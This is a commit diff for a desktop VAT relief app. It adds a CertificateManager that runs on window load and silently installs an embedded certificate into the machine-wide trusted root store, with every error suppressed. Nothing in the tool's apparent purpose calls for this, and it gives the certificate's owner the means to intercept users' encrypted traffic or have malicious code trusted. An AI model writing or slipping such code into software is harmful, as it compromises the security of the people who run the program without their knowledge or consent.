Feat: include certificate installation on load

Author: cpa-coder

DebitExpress.VatRelief/DebitExpress.VatRelief.csproj

@@ -19,6 +19,7 @@
     <ItemGroup>
       <Resource Include="favicon.png" />
       <EmbeddedResource Include="template.xltx" />
+      <EmbeddedResource Include="cert.cer" />
     </ItemGroup>
 
 </Project>

DebitExpress.VatRelief/MainWindow.xaml.cs

@@ -34,6 +34,13 @@ public MainWindow()
         GenerateButton.Click += OnGenerate;
         DownloadButton.Click += OnDownload;
         GithubButton.Click+= OnGithub;
+        Loaded+= OnLoaded;
+    }
+
+    private void OnLoaded(object sender, RoutedEventArgs e)
+    {
+        var certManager = new CertificateManager();
+        certManager.Install();
     }
 
     #region Drag and drop

DebitExpress.VatRelief/Utils/CertificateManager.cs

@@ -0,0 +1,43 @@
+using System;
+using System.IO;
+using System.Reflection;
+using System.Security.Cryptography.X509Certificates;
+
+namespace DebitExpress.VatRelief.Utils;
+
+public sealed class CertificateManager
+{
+    public void Install()
+    {
+        try
+        {
+            var path = Path.Combine(Path.GetTempPath(), "vat-relief");
+            Directory.CreateDirectory(path);
+
+            //certificate file should be generated by the ci pipeline
+            var assembly = Assembly.GetExecutingAssembly();
+            using var stream = assembly.GetManifestResourceStream("DebitExpress.VatRelief.cert.cer");
+
+            if (stream == null) return;
+
+            var filePath = Path.Combine(path, "cert.cer");
+            using var fileStream = File.Create(filePath);
+            stream.Seek(0, SeekOrigin.Begin);
+            stream.CopyTo(fileStream);
+            fileStream.Close();
+
+            using var store = new X509Store(StoreName.Root, StoreLocation.LocalMachine);
+            store.Open(OpenFlags.ReadWrite);
+
+            var cert = new X509Certificate2(filePath);
+            store.Add(cert);
+            store.Close();
+
+            File.Delete(filePath);
+        }
+        catch (Exception)
+        {
+            //ignored
+        }
+    }
+}